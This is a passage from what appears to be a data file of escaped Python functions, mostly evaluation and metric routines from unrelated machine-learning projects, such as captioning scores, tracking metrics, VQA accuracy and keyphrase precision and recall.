reference_answer:\\r\\n answersimilarity += candidate_answer.similarity(nlp(answer))\\r\\n similarity += answersimilarity/len(reference_answer)\\r\\n semantic_similarity = similarity/len(filtered_reference_dictionary)\\r\\n all_scores['Semantic_Similarity'] = semantic_similarity\\r\\n return all_scores\",\n \"def _run_evaluation(\\n sess, experiment, eval_config, output_dir, min_range, max_range, num_bins,\\n torsion_bins):\\n tf.io.gfile.makedirs(os.path.join(output_dir, 'pickle_files'))\\n\\n logging.info('Eval config is %s\\\\nnum_bins: %d', eval_config, num_bins)\\n num_examples = 0\\n num_crops = 0\\n start_all_time = time.time()\\n\\n # Either do the whole test set, or up to a specified limit.\\n max_examples = experiment.num_eval_examples\\n if eval_config.max_num_examples > 0:\\n max_examples = min(max_examples, eval_config.max_num_examples)\\n\\n while num_examples < max_examples:\\n one_prediction = compute_one_prediction(\\n num_examples, experiment, sess, eval_config, num_bins, torsion_bins)\\n\\n single_message = one_prediction.single_message\\n num_crops_local = one_prediction.num_crops_local\\n sequence = one_prediction.sequence\\n filebase = one_prediction.filebase\\n softmax_probs = one_prediction.softmax_probs\\n ss = one_prediction.ss\\n asa = one_prediction.asa\\n torsions = one_prediction.torsions\\n\\n num_examples += 1\\n num_crops += num_crops_local\\n\\n # Save the output files.\\n filename = os.path.join(output_dir,\\n 'pickle_files', '%s.pickle' % filebase)\\n distogram_io.save_distance_histogram(\\n filename, softmax_probs, filebase, sequence,\\n min_range=min_range, max_range=max_range, num_bins=num_bins)\\n\\n if experiment.model.torsion_multiplier > 0:\\n torsions_dir = os.path.join(output_dir, 'torsions')\\n tf.io.gfile.makedirs(torsions_dir)\\n distogram_io.save_torsions(torsions_dir, filebase, sequence, torsions)\\n\\n if experiment.model.secstruct_multiplier > 0:\\n ss_dir = os.path.join(output_dir, 'secstruct')\\n tf.io.gfile.makedirs(ss_dir)\\n secstruct.save_secstructs(ss_dir, filebase, None, sequence, ss)\\n\\n if experiment.model.asa_multiplier > 0:\\n asa_dir = os.path.join(output_dir, 'asa')\\n tf.io.gfile.makedirs(asa_dir)\\n secstruct.save_secstructs(asa_dir, filebase, None, sequence,\\n np.expand_dims(asa, 1), label='Deepmind 2D ASA')\\n\\n time_spent = time.time() - start_all_time\\n logging.info(\\n 'Evaluate %d examples, %d crops %.1f crops/ex. '\\n 'Took %.1fs, %.3f s/example %.3f crops/s\\\\n%s',\\n num_examples, num_crops, num_crops / float(num_examples), time_spent,\\n time_spent / num_examples, num_crops / time_spent, single_message)\\n\\n logging.info('Tested on %d', num_examples)\",\n \"def main(targets):\\n # Parse through the datasets and select only relevant columns\\n cpu_df = data_exploration.parse_cpu_data(\\\"data/raw/hw_metric_histo.csv000\\\")\\n sys_df = data_exploration.parse_sys_data(\\\"data/raw/system_sysinfo_unique_normalized.csv000\\\")\\n\\n # Create a new reference to the optimized DataFrame\\n optimized_df = data_exploration.optimize_dataframe(cpu_df)\\n\\n # grab the specific column \\\"HW::CORE:C0:PERCENT\\\" as a feature\\n cpu = data_exploration.get_stats(optimized_df, \\\"name\\\", \\\"HW::CORE:C0:PERCENT:\\\")\\n\\n # grab the specific column \\\"HW::CORE:TEMPERATURE:CENTIGRADE\\\" as a feature\\n temp = data_exploration.get_stats(optimized_df, \\\"name\\\", \\\"HW::CORE:TEMPERATURE:CENTIGRADE:\\\")\\n\\n # grab the GUIDs from each dataset and put them into lists\\n sys_guid = data_exploration.get_guid(sys_df, 'guid')\\n hw_guid = data_exploration.get_guid(cpu_df, 'guid')\\n\\n # checking for the GUID overlap in both datasets\\n syshw_overlap = [guid for guid in sys_guid if guid in hw_guid]\\n\\n # objective is to create a dataframe of only matching GUIDs\\n hwcpu_match = data_exploration.get_cpu_guid(cpu, syshw_overlap)\\n\\n # only grabbing the relevant columns to be matched on\\n hwtemp_match = data_exploration.get_temp_guid(temp, syshw_overlap)\\n\\n # instantiating our dataframes to be joined\\n hwtemp = pd.DataFrame(hwtemp_match.groupby('guid')['temp_mean'].mean())\\n hwcpu = pd.DataFrame(hwcpu_match.groupby('guid')['utilization_mean'].mean())\\n\\n # joining our matched dataframes together, only using relevant columns\\n combined = sys_df.join(hwcpu, on=['guid'], how='left')\\n combined = combined.join(hwtemp, on=['guid'], how='left')\\n combined = combined.drop(columns=['guid', 'model_normalized', \\\"processornumber\\\"])\\n\\n # create copy of our joined dataframe to be used for modelling\\n feature_columns = combined.copy()\\n\\n # selecting only relevant columns to use for features\\n feature_columns = feature_columns[['os','cpu_family', 'cpuvendor',\\n 'graphicscardclass', 'persona']]\\n\\n # creating a completely one-hot encoded dataframe only containing relevant columns\\n dummy = pd.get_dummies(feature_columns)\\n\\n # converting our categorical variables to be predicted on into numerical values\\n cleanup_nums = {'persona': {'Web User': 0, 'Casual User': 1, 'Gamer':2, 'Casual Gamer': 3,\\n 'Office/Productivity':4, 'Content Creator/IT': 5,\\n 'Communication': 6, 'Win Store App User': 7, 'Entertainment': 8,\\n 'File & Network Sharer':9, 'Unknown': 10}}\\n\\n # replacing the values in the column 'persona' to be numerical\\n encode_persona = combined['persona'].to_frame().replace(cleanup_nums)\\n\\n # putting our old means back into the dummy dataframe\\n dummy['util_mean'] = combined['utilization_mean']\\n dummy['temp_mean'] = combined['temp_mean']\\n # dummy = dummy.drop(columns=['persona'])\\n dummy['persona'] = encode_persona['persona']\\n\\n dummy = dummy.dropna()\\n nona_test = dummy.copy()\\n\\n # we want to predict on Y\\n Y = nona_test['persona']\\n X = nona_test.drop(columns=['persona'])\\n\\n # creating our test/train split\\n X_train, X_test, Y_train, Y_test = train_test_split(X, Y, test_size=0.2)\\n\\n # all the models we are going to use\\n names = [\\\"Nearest_Neighbors\\\", \\\"Linear_SVM\\\", \\\"Polynomial_SVM\\\", \\\"RBF_SVM\\\", \\\"Gradient_Boosting\\\"]\\n\\n # all of our predictors scaled to the degree of our datasets\\n classifiers = [KNeighborsClassifier(3),\\n SVC(kernel=\\\"linear\\\", C=0.025),\\n SVC(kernel=\\\"poly\\\", degree=3, C=0.025),\\n SVC(kernel=\\\"rbf\\\", C=1, gamma=2),\\n GradientBoostingClassifier(n_estimators=100, learning_rate=1.0)]\\n\\n scores = []\\n # we write in our accuracy scores to [scores]\\n for name, clf in zip(names, classifiers):\\n clf.fit(X_train, Y_train)\\n score = clf.score(X_test, Y_test)\\n scores.append(score)\\n\\n show = data_exploration.get_model_scores(names, scores)\\n model_scores = data_exploration.plot_graphical_model_scores(show)\",\n \"def main(argv):\\n from argparse import ArgumentParser\\n argparser = ArgumentParser(description=\\\"\\\")\\n argparser.add_argument(\\\"--germeval\\\",\\n help=\\\"use GermEval format\\\", action=\\\"store_true\\\")\\n argparser.add_argument(\\\"-g\\\", \\\"--glob-ptrn\\\",\\n help=\\\"globbing pattern to use for finding files in\\\"\\n \\\" directories\\\", type=str, default=\\\"*.tsv\\\")\\n argparser.add_argument(\\\"-v\\\", \\\"--verbose\\\",\\n help=\\\"output prediction errors\\\",\\n action=\\\"store_true\\\")\\n argparser.add_argument(\\\"gold_file\\\",\\n help=\\\"file or directory containing gold data\\\")\\n argparser.add_argument(\\\"pred_file\\\",\\n help=\\\"file or directory containing predicted\\\"\\n \\\" labels\\\")\\n args = argparser.parse_args(argv)\\n\\n gold_data = read_data(args.gold_file, args.glob_ptrn, args.germeval)\\n pred_data = read_data(args.pred_file, args.glob_ptrn, args.germeval)\\n\\n # check whether we have the same set of ids in both datasets\\n gold_ids = gold_data.loc[:, ID]\\n gold_ids_set = set(gold_ids)\\n pred_ids = pred_data.loc[:, ID]\\n pred_ids_set = set(pred_ids)\\n xor_ids = (gold_ids_set - pred_ids_set) | (pred_ids_set - gold_ids_set)\\n assert len(gold_ids) == len(pred_ids) \\\\\\n and all(gold_ids.values == pred_ids.values), \\\\\\n \\\"Unmatched ids: {!r} vs. {!r} (ids present in just one\\\" \\\\\\n \\\" of the sets: {!r})\\\".format(gold_ids, pred_ids, xor_ids)\\n\\n # compute and output classification statistics\\n compute_stat(gold_data, pred_data, args.verbose)\",\n \"def evaluate_and_dump_predictions(pred, qids, qfile, afile, ix_ans_dict, filename):\\n assert len(pred) == len(qids), \\\"Number of predictions need to match number of question IDs\\\"\\n answers = []\\n for i, val in enumerate(pred):\\n qa_pair = {}\\n qa_pair['question_id'] = int(qids[i])\\n qa_pair['answer'] = ix_ans_dict[str(val + 1)] # note indexing diff between python and torch\\n answers.append(qa_pair)\\n vqa = VQA(afile, qfile)\\n fod = open(filename, 'wb')\\n json.dump(answers, fod)\\n fod.close()\\n # VQA evaluation\\n vqaRes = vqa.loadRes(filename, qfile)\\n vqaEval = VQAEval(vqa, vqaRes, n=2)\\n vqaEval.evaluate()\\n acc = vqaEval.accuracy['overall']\\n print(\\\"Overall Accuracy is: %.02f\\\\n\\\" % acc)\\n return acc\",\n \"def evaluate_bm(all_metrics):\\n f_gt, n_gt, n_st = 0, 0, 0\\n nbox_gt, nbox_st = 0, 0\\n c, g, fp, missed, ids = 0, 0, 0, 0, 0\\n IDTP, IDFP, IDFN = 0, 0, 0\\n MT, ML, PT, FRA = 0, 0, 0, 0\\n overlap_sum = 0\\n for i in range(len(all_metrics)):\\n nbox_gt += all_metrics[i].idmetrics.nbox_gt\\n nbox_st += all_metrics[i].idmetrics.nbox_st\\n\\n # Total ID Measures\\n IDTP += all_metrics[i].idmetrics.IDTP\\n IDFP += all_metrics[i].idmetrics.IDFP\\n IDFN += all_metrics[i].idmetrics.IDFN\\n\\n # Total ID Measures\\n MT += all_metrics[i].MT\\n ML += all_metrics[i].ML\\n PT += all_metrics[i].PT\\n FRA += all_metrics[i].FRA\\n f_gt += all_metrics[i].f_gt\\n n_gt += all_metrics[i].n_gt\\n n_st += all_metrics[i].n_st\\n c += all_metrics[i].c\\n g += all_metrics[i].g\\n fp += all_metrics[i].fp\\n missed += all_metrics[i].missed\\n ids += all_metrics[i].mme\\n overlap_sum += sum(sum(all_metrics[i].d))\\n\\n # IDP = IDTP / (IDTP + IDFP)\\n IDP = IDTP / (IDTP + IDFP) * 100\\n\\n # IDR = IDTP / (IDTP + IDFN)\\n IDR = IDTP / (IDTP + IDFN) * 100\\n\\n # IDF1 = 2 * IDTP / (2 * IDTP + IDFP + IDFN)\\n IDF1 = 2 * IDTP / (nbox_gt + nbox_st) * 100\\n FAR = fp / f_gt\\n MOTP = (overlap_sum / c) * 100\\n\\n # MOTAL = 1 - (# fp + # fn + #log10(ids)) / # gts\\n MOTAL = (1 - (fp + missed + np.log10(ids + 1)) / g) * 100\\n\\n # MOTA = 1 - (# fp + # fn + # ids) / # gts\\n MOTA = (1 - (fp + missed + ids) / g) * 100\\n\\n # recall = TP / (TP + FN) = # corrected boxes / # gt boxes\\n recall = c / g * 100\\n\\n # precision = TP / (TP + FP) = # corrected boxes / # det boxes\\n precision = c / (fp + c) * 100\\n metrics = [IDF1, IDP, IDR, recall, precision, FAR, n_gt,\\n MT, PT, ML, fp, missed, ids, FRA, MOTA, MOTP, MOTAL]\\n return metrics\",\n \"def analyse_results(self, \\n target_dir, \\n param_file = \\\"TRAINED_PARAMS_END.model\\\",\\n w_norm_file = \\\"W_NORMS.dat\\\",\\n num_to_test = 100,\\n get_means_from = {\\n 'NOISY' :'RECONST_NOISY_ERRORS.dat',\\n 'MISSING':'RECONST_MISSING_ERRORS.dat'\\n },\\n given_inputs = []):\\n \\n path_to_json = os.path.join(target_dir, \\\"PARAMETERS.json\\\")\\n \\n with open(path_to_json, 'r') as json_file:\\n \\n param_dict = json.load(json_file)\\n \\n self.num_hidden = param_dict['GLOBAL']['num_hidden']\\n \\n num_runs = param_dict['GLOBAL']['num_runs']\\n \\n path_to_mix_params = os.path.join(target_dir, \\\"MIX_PARAMS.dat\\\")\\n \\n reg_dict = {}\\n \\n for f_name in param_dict.keys():\\n \\n if f_name != \\\"GLOBAL\\\":\\n reg_dict[param_dict[f_name]['algorithm']] =\\\\\\n param_dict[f_name]['regressor']\\n \\n self.mixture = False\\n \\n E_gaps = {}\\n \\n recon_errors = {}\\n \\n p_tilda_data = {}\\n \\n end_w_norms = {}\\n \\n for field in get_means_from.keys():\\n \\n recon_errors[field] = {}\\n \\n if os.path.exists(path_to_mix_params):\\n \\n self.mixture = True\\n \\n self.mix_params = np.loadtxt(path_to_mix_params)\\n \\n for run_ind in range(num_runs):\\n \\n sub_f1 = \\\"run%s\\\"%run_ind\\n \\n sub_dir = os.path.join(target_dir, sub_f1)\\n \\n if os.path.isdir(sub_dir): \\n print(\\\"Processing %s\\\"%sub_dir)\\n tr_file = \\\"TRAIN_IMAGES.dat\\\"\\n check_input_file = os.path.join(sub_dir, tr_file)\\n \\n if os.path.exists(check_input_file):\\n inputs = np.loadtxt(check_input_file)\\n # to make fair comparison, number of is samples\\n # is set to the number of test inputs\\n self.num_samples = inputs.shape[0]\\n else:\\n \\n if isinstance(given_inputs, np.ndarray):\\n N = given_inputs.shape[0]\\n inds = self.np_rand_gen.choice(N, \\n num_to_test,\\n replace = False)\\n \\n inputs = given_inputs[inds,:]\\n \\n self.num_samples = num_to_test\\n \\n else:\\n print(\\\"Error: %s does not contain file %s\\\"\\n %(sub_dir2, tr_file) +\\\" and given_inputs is []\\\")\\n print(\\\"Script execution will terminate\\\") \\n sys.exit()\\n \\n self.batch_size = inputs.shape[0]\\n \\n if self.mixture:\\n self.set_mixture_means(inputs = inputs)\\n \\n is_samples, _ = self.is_sampler()\\n \\n for sub_f2 in os.listdir(sub_dir):\\n \\n sub_dir2 = os.path.join(sub_dir, sub_f2)\\n \\n if os.path.isdir(sub_dir2):\\n \\n if \\\"_\\\" in sub_f2:\\n spl_str = sub_f2.split(\\\"_\\\")\\n if len(spl_str) > 3:\\n algorithm = spl_str[0]+\\\"_\\\"+spl_str[1]\\n else:\\n algorithm = spl_str[0]\\n \\n else:\\n algorithm = sub_f2\\n \\n field_name =algorithm \\n \\n if reg_dict[algorithm] != None:\\n if reg_dict[algorithm] in sub_f2:\\n if \\\"_\\\" in reg_dict[algorithm]:\\n reg_name_s = reg_dict[algorithm].split(\\\"_\\\")\\n \\n reg_name_s = reg_name_s[0][0].upper() +\\\\\\n reg_name_s[1][0].upper()\\n field_name +=\\\" %s\\\"%reg_name_s\\n else:\\n field_name +=\\\" %s\\\"%reg_dict[algorithm]\\n \\n get_val = sub_f2\\n get_val = get_val.split(reg_dict[algorithm])[1]\\n \\n field_name +=\\\" %s\\\"%get_val\\n \\n if field_name not in E_gaps.keys():\\n \\n E_gaps[field_name] = []\\n \\n if field_name not in p_tilda_data.keys():\\n \\n p_tilda_data[field_name] = []\\n \\n if field_name not in end_w_norms.keys():\\n \\n end_w_norms[field_name] = []\\n \\n par_path = os.path.join(sub_dir2, param_file)\\n \\n w_norms_path = os.path.join(sub_dir2, w_norm_file)\\n \\n w_norms = np.loadtxt(w_norms_path)\\n \\n end_w_norms[field_name].append(w_norms[-1])\\n \\n if os.path.exists(par_path):\\n \\n css_diff, p_tilda_vals =\\\\\\n self.compare_css_terms(x_inputs = inputs,\\n x_samples = is_samples,\\n full_path = par_path)\\n \\n E_gaps[field_name].append(css_diff)\\n \\n mean_val = np.mean(p_tilda_vals[0:self.batch_size])\\n \\n p_tilda_data[field_name].append(mean_val)\\n \\n else:\\n \\n print(\\\"Error: %s does not exist\\\"%par_path)\\n sys.exit()\\n \\n for f_exp in get_means_from.keys():\\n \\n file_name = get_means_from[f_exp]\\n \\n check_err_file = os.path.join(sub_dir2, file_name)\\n \\n errors = np.loadtxt(check_err_file)\\n \\n mean_val = np.mean(errors)\\n \\n if field_name not in recon_errors[f_exp].keys():\\n \\n recon_errors[f_exp][field_name] = []\\n \\n recon_errors[f_exp][field_name].append(mean_val)\\n \\n return E_gaps, recon_errors, p_tilda_data, end_w_norms\",\n \"def evaluate_individual(predictions, test_files, models):\\n\\n print(\\\"\\\\nAccuracy for individual models\\\\n\\\")\\n \\n # Fix Location\\n correct_predictions = [0, 0, 0]\\n total_predictions = [0, 0, 0]\\n num_failed_predictions = 0\\n\\n for prediction in predictions:\\n if prediction[\\\"correct_data\\\"][\\\"correct_location\\\"] == prediction[\\\"predicted_location\\\"]:\\n correct_predictions[FixType[prediction[\\\"correct_data\\\"][\\\"correct_type\\\"]].value] = correct_predictions[FixType[\\n prediction[\\\"correct_data\\\"][\\\"correct_type\\\"]].value] + 1\\n if prediction[\\\"predicted_location\\\"] is None:\\n num_failed_predictions = num_failed_predictions + 1\\n total_predictions[FixType[prediction[\\\"correct_data\\\"][\\\"correct_type\\\"]].value] = total_predictions[FixType[\\n prediction[\\\"correct_data\\\"][\\\"correct_type\\\"]].value] + 1\\n\\n for i in range(3):\\n if total_predictions[i] == 0: # If the type was never predicted\\n accuracy = 0\\n else:\\n accuracy = correct_predictions[i] / total_predictions[i]\\n print(f\\\"Fix Location accuracy for class {FixType(i).name}: {accuracy * 100} %\\\")\\n\\n accuracy = sum(correct_predictions) / (len(predictions) - num_failed_predictions)\\n print(f\\\"Fix Location accuracy overall is {accuracy * 100} %\\\")\\n \\n # Fix type\\n correct_predictions = [0, 0, 0]\\n total_predictions = [0, 0, 0]\\n num_failed_predictions = 0\\n\\n for prediction in predictions:\\n if prediction[\\\"correct_data\\\"][\\\"correct_type\\\"] == prediction[\\\"predicted_type\\\"]:\\n correct_predictions[FixType[prediction[\\\"predicted_type\\\"]].value] = correct_predictions[FixType[\\n prediction[\\\"predicted_type\\\"]].value] + 1\\n if prediction[\\\"predicted_type\\\"] is None:\\n num_failed_predictions = num_failed_predictions + 1\\n total_predictions[FixType[prediction[\\\"predicted_type\\\"]].value] = total_predictions[FixType[\\n prediction[\\\"predicted_type\\\"]].value] + 1\\n\\n for i in range(3):\\n if total_predictions[i] == 0: # If the type was never predicted\\n accuracy = 0\\n else:\\n accuracy = correct_predictions[i] / total_predictions[i]\\n print(f\\\"Fix Type accuracy for class {FixType(i).name}: {accuracy * 100} %\\\")\\n\\n accuracy = sum(correct_predictions) / (len(predictions) - num_failed_predictions)\\n print(f\\\"Fix Type accuracy overall is {accuracy * 100} %\\\")\\n \\n # We repeat the predictions to evaluate the insert and modify models individually, regardless of the predicted fix type \\n\\n raw_training_samples = []\\n\\n if test_files.endswith(\\\".json\\\"): # Single JSON file\\n with open(test_files) as file:\\n logging.info(\\\"Source ending in .json. Predicting on single JSON file.\\\")\\n raw_training_samples = json.load(file)\\n else: # Folder path\\n for filename in listdir(test_files):\\n with open(test_files + filename) as file:\\n raw_training_samples.extend(json.load(file))\\n \\n correct_predictions_insert = 0\\n total_predictions_insert = 0\\n correct_predictions_modify = 0\\n total_predictions_modify = 0\\n insert_tokens = []\\n modify_tokens = []\\n\\n for sample in raw_training_samples:\\n # Insert\\n if sample[\\\"metadata\\\"][\\\"fix_type\\\"] == \\\"insert\\\":\\n actual_sample, tokens = IOProcessor.preprocess(sample[\\\"wrong_code\\\"])\\n pred = predict_single(actual_sample, models[2])\\n token = IOProcessor.postprocess(pred, 2)\\n if token == sample[\\\"metadata\\\"][\\\"fix_token\\\"]: # Correct Prediction\\n correct_predictions_insert = correct_predictions_insert + 1\\n else: # Incorrect prediction\\n insert_tokens.append([token, sample[\\\"metadata\\\"][\\\"fix_token\\\"]])\\n total_predictions_insert = total_predictions_insert + 1\\n # Modify\\n if sample[\\\"metadata\\\"][\\\"fix_type\\\"] == \\\"modify\\\":\\n actual_sample, tokens = IOProcessor.preprocess(sample[\\\"wrong_code\\\"])\\n pred = predict_single(actual_sample, models[3])\\n token = IOProcessor.postprocess(pred, 3)\\n if token == sample[\\\"metadata\\\"][\\\"fix_token\\\"]: # Correct Prediction\\n correct_predictions_modify = correct_predictions_modify + 1\\n else: # Incorrect prediction\\n modify_tokens.append([token, sample[\\\"metadata\\\"][\\\"fix_token\\\"]])\\n total_predictions_modify = total_predictions_modify + 1\\n\\n insert_accuracy = correct_predictions_insert / total_predictions_insert\\n modify_accuracy = correct_predictions_modify / total_predictions_modify\\n print(f\\\"Fix Token accuracy for insert is {insert_accuracy * 100} %\\\")\\n print(f\\\"Fix Token accuracy for modify is {modify_accuracy * 100} %\\\")\\n\\n # The following code may be used to create a swarm plot of the erroneous predictions for fix locations\\n # This does, however, require the installation of the pandas, seaborn, and matplotlib libraries.\\n \\n # import seaborn as sns\\n # import matplotlib.pyplot as plt\\n # import pandas as pd\\n # location_distance_array = []\\n # for prediction in predictions:\\n # actual_sample, tokens = IOProcessor.preprocess(prediction[\\\"correct_data\\\"][\\\"wrong_code\\\"])\\n # label = get_token_index(prediction[\\\"correct_data\\\"][\\\"wrong_code\\\"], tokens, prediction[\\\"correct_data\\\"][\\\"correct_location\\\"])\\n # if prediction[\\\"predicted_token_location\\\"] - label == 0:\\n # pass\\n # else:\\n # location_distance_array.append([prediction[\\\"predicted_token_location\\\"] - label, prediction[\\\"correct_data\\\"][\\\"correct_type\\\"]])\\n \\n # df = pd.DataFrame(data=location_distance_array)\\n # sns.set_theme(style=\\\"whitegrid\\\")\\n # f, ax = plt.subplots(figsize=(6, 4))\\n # sns.despine(bottom=True, left=True)\\n # sns.swarmplot(y=0, x=1, data=df, palette=\\\"dark\\\", size=6)\\n # ax.set_xlabel('')\\n # ax.set_ylabel('')\\n # plt.ylim([-15, 16])\\n \\n # plt.savefig('line_plot.pdf', bbox_inches='tight', pad_inches=0)\",\n \"def evaluate(self, benchmark_data, metrics={}, options={}):\\n dir_name = list(benchmark_data.keys())[0]\\n relations = list(benchmark_data.values())[0]\\n \\n if \\\"relation\\\" in options :\\n relations = [options[\\\"relation\\\"]]\\n \\n precision_total = 0\\n for relation in relations :\\n if relation.endswith(\\\"_inv\\\") :\\n continue\\n relation = relation.replace(\\\":\\\", \\\"_\\\")\\n evaluate.setup(relation, dir_name)\\n precision_total += evaluate.evaluate_logic()\\n \\n result = {}\\n result[\\\"MAP\\\"] = precision_total/len(relations)\\n\\n return result\",\n \"def compute_metrics(\\n self,\\n preds: Dict[str, torch.Tensor],\\n targets: Dict[str, torch.Tensor],\\n phase: str,\\n ) -> Dict[str, torch.Tensor]:\\n if phase == \\\"train\\\":\\n metrics_dict = self.train_metrics\\n elif phase == \\\"val\\\":\\n metrics_dict = self.val_metrics\\n elif phase == \\\"test\\\":\\n metrics_dict = self.test_metrics\\n\\n ret = {}\\n for metric_name, metric in metrics_dict.items():\\n if metric is not None:\\n branch = metric_name.split(\\\"_\\\")[0]\\n ret[metric_name] = metric(preds[branch], targets[branch])\\n\\n return ret\",\n \"def evaluate_predictions_from_filepaths(\\n ground_truth_filepath: str, prediction_filepath: str, node_types: List[str]\\n) -> Dict[str, float]:\\n\\n ground_truth_tree_jsons = read_jsonl(ground_truth_filepath)\\n prediction_tree_jsons = read_jsonl(prediction_filepath)\\n\\n return evaluate_predictions_from_jsons(\\n ground_truth_tree_jsons, prediction_tree_jsons, node_types\\n )\",\n \"def calculateMeasures(\\n folder_gold=\\\"data/dev/\\\", folder_pred=\\\"data_pred/dev/\\\", remove_anno=\\\"\\\"\\n):\\n\\n flist_gold = os.listdir(folder_gold)\\n res_all_gold = []\\n res_all_pred = []\\n targets = []\\n\\n if type(remove_anno) == str:\\n remove_anno = [remove_anno]\\n if \\\"types\\\" in remove_anno:\\n remove_anno.append(\\\"rel\\\")\\n\\n for f in flist_gold:\\n # ignoring non-.ann files, should there be any\\n if not str(f).endswith(\\\".ann\\\"):\\n continue\\n f_gold = open(os.path.join(folder_gold, f), \\\"r\\\")\\n try:\\n f_pred = open(os.path.join(folder_pred, f), \\\"r\\\")\\n res_full_pred, res_pred, spans_pred, rels_pred = normaliseAnnotations(\\n f_pred, remove_anno\\n )\\n except IOError:\\n print(\\n f\\n + \\\" file missing in \\\"\\n + folder_pred\\n + \\\". Assuming no predictions are available for this file.\\\"\\n )\\n res_full_pred, res_pred, spans_pred, rels_pred = [], [], [], []\\n\\n res_full_gold, res_gold, spans_gold, rels_gold = normaliseAnnotations(\\n f_gold, remove_anno\\n )\\n\\n spans_all = set(spans_gold + spans_pred)\\n\\n for i, r in enumerate(spans_all):\\n if r in spans_gold:\\n target = res_gold[spans_gold.index(r)].split(\\\" \\\")[0]\\n res_all_gold.append(target)\\n if not target in targets:\\n targets.append(target)\\n else:\\n # those are the false positives, contained in pred but not gold\\n res_all_gold.append(\\\"NONE\\\")\\n\\n if r in spans_pred:\\n target_pred = res_pred[spans_pred.index(r)].split(\\\" \\\")[0]\\n res_all_pred.append(target_pred)\\n else:\\n # those are the false negatives, contained in gold but not pred\\n res_all_pred.append(\\\"NONE\\\")\\n\\n if \\\"keys\\\" in remove_anno:\\n targets = [\\\"Hyponym-of\\\", \\\"Synonym-of\\\"]\\n # y_true, y_pred, labels, targets\\n prec, recall, f1, support = precision_recall_fscore_support(\\n res_all_gold, res_all_pred, labels=targets, average=None\\n )\\n # unpack the precision, recall, f1 and support\\n metrics = {}\\n for k, target in enumerate(targets):\\n metrics[target] = {\\n \\\"precision\\\": prec[k],\\n \\\"recall\\\": recall[k],\\n \\\"f1-score\\\": f1[k],\\n \\\"support\\\": support[k],\\n }\\n\\n # now micro-averaged\\n if not \\\"types\\\" in remove_anno:\\n prec, recall, f1, s = precision_recall_fscore_support(\\n res_all_gold, res_all_pred, labels=targets, average=\\\"micro\\\"\\n )\\n metrics[\\\"overall\\\"] = {\\n \\\"precision\\\": prec,\\n \\\"recall\\\": recall,\\n \\\"f1-score\\\": f1,\\n \\\"support\\\": sum(support),\\n }\\n else:\\n # just binary classification, nothing to average\\n metrics[\\\"overall\\\"] = metrics[\\\"KEYPHRASE-NOTYPES\\\"]\\n\\n print_report(metrics, targets)\\n return metrics\",\n \"def compute_metrics(self, results: list) -> dict:\",\n \"def compute_metrics(self, results: list) -> Dict[str, float]:\\n logger: MMLogger = MMLogger.get_current_instance()\\n\\n # pred_coords: [N, K, D]\\n pred_coords = np.concatenate(\\n [result['pred_coords'] for result in results])\\n if pred_coords.ndim == 4 and pred_coords.shape[1] == 1:\\n pred_coords = np.squeeze(pred_coords, axis=1)\\n # gt_coords: [N, K, D]\\n gt_coords = np.stack([result['gt_coords'] for result in results])\\n # mask: [N, K]\\n mask = np.concatenate([result['mask'] for result in results])\\n # action_category_indices: Dict[List[int]]\\n action_category_indices = defaultdict(list)\\n for idx, result in enumerate(results):\\n action_category = result['action'].split('_')[0]\\n action_category_indices[action_category].append(idx)\\n\\n error_name = self.mode.upper()\\n\\n logger.info(f'Evaluating {self.mode.upper()}...')\\n metrics = dict()\\n\\n metrics[error_name] = keypoint_mpjpe(pred_coords, gt_coords, mask,\\n self.ALIGNMENT[self.mode])\\n\\n for action_category, indices in action_category_indices.items():\\n metrics[f'{error_name}_{action_category}'] = keypoint_mpjpe(\\n pred_coords[indices], gt_coords[indices], mask[indices])\\n\\n return metrics\",\n \"def evaluate(pred_file, ref_file):\\n ref_dict, pred_dict, query_dict, id_dict = build_pred_ref_dict(ref_file, pred_file, ref_file)\\n total, acc, scores = res_eval_with_type_acc(query_dict, pred_dict, ref_dict, id_dict, save=False)\\n em = calculate_exact_match(pred_dict, ref_dict)\\n print('Comp Acc: {:.3f}%\\\\tBleu-4: {:.3f}\\\\tRouge-L: {:.3f}'.format(acc, scores['Bleu-4'], scores['Rouge-L']))\\n print('EM: {:.3f}%'.format(em))\\n # calculate_sketch_type_acc(ref_file, pred_file)\\n # calculate_exact_match_for_each_q_type(ref_file, pred_file)\\n return total, acc, scores, em\",\n \"def compute(self, result_file_dict):\\r\\n for part in self.parts:\\r\\n #=====================Need to change, temporal=========================\\r\\n if part == 'train':\\r\\n continue # because the train not have the label\\r\\n #=======================================================================\\r\\n gt = self.gt_dict[part]\\r\\n result_file = result_file_dict[part]\\r\\n # import ipdb; ipdb.set_trace()\\r\\n for key, item in result_file.items():\\r\\n self._result_name = item\\r\\n # score_records, num_videos = self.load_results(result_file)\\r\\n score_records, num_videos = self.load_results(item)\\r\\n logger.info(f'Compute Metric of {item}')\\r\\n assert num_videos == len(gt), f'the number of saved videos does not match the ground truth, {num_videos} != {len(gt)}'\\r\\n temp_result = self.eval_method(score_records, gt, str(key))\\r\\n if temp_result > self.optimal_resulst:\\r\\n self.optimal_resulst = temp_result\\r\\n \\r\\n return self.optimal_resulst\",\n \"def evaluate(gt_file, re_file, logger=None):\\n gts = json.load(open(gt_file, 'r'))\\n scorers = [\\n (Bleu(4), [\\\"Bleu_1\\\", \\\"Bleu_2\\\", \\\"Bleu_3\\\", \\\"Bleu_4\\\"]),\\n (Meteor(), \\\"METEOR\\\"),\\n (Rouge(), \\\"ROUGE_L\\\"),\\n (Cider(), \\\"CIDEr\\\")\\n ]\\n metrics = []\\n res = json.load(open(re_file, 'r'))\\n res = {c['image_id']: [c['caption']] for c in res}\\n gts = {k: v for k, v in zip(gts['image_ids'], gts['captions']) if k in res}\\n for scorer, method in scorers:\\n if logger is not None:\\n logger.info('computing %s score...' % (scorer.method()))\\n score, scores = scorer.compute_score(gts, res)\\n if type(method) == list:\\n for sc, scs, m in zip(score, scores, method):\\n if logger is not None:\\n logger.info(\\\"%s: %0.3f\\\" % (m, sc))\\n metrics.extend(score)\\n else:\\n if logger is not None:\\n logger.info(\\\"%s: %0.3f\\\" % (method, score))\\n metrics.append(score)\\n return metrics\",\n \"def get_accuracy(path_targets, path_pred, key_to_infer, path_accuracy):\\n list_targets = []\\n list_preds = []\\n with open(path_targets, 'r') as f:\\n for line in f.readlines():\\n list_targets.append(line[:-1])\\n with open(path_pred, 'r') as f:\\n for line in f.readlines():\\n list_preds.append(line[:-1])\\n \\n len_list = len(list_targets)\\n \\n if key_to_infer[1] == str or key_to_infer[1] == float:\\n correct = 0\\n incorrect = 0\\n for idx in range(len_list):\\n if list_targets[idx] == list_preds[idx]:\\n correct +=1\\n else:\\n incorrect += 1\\n with open(path_accuracy, 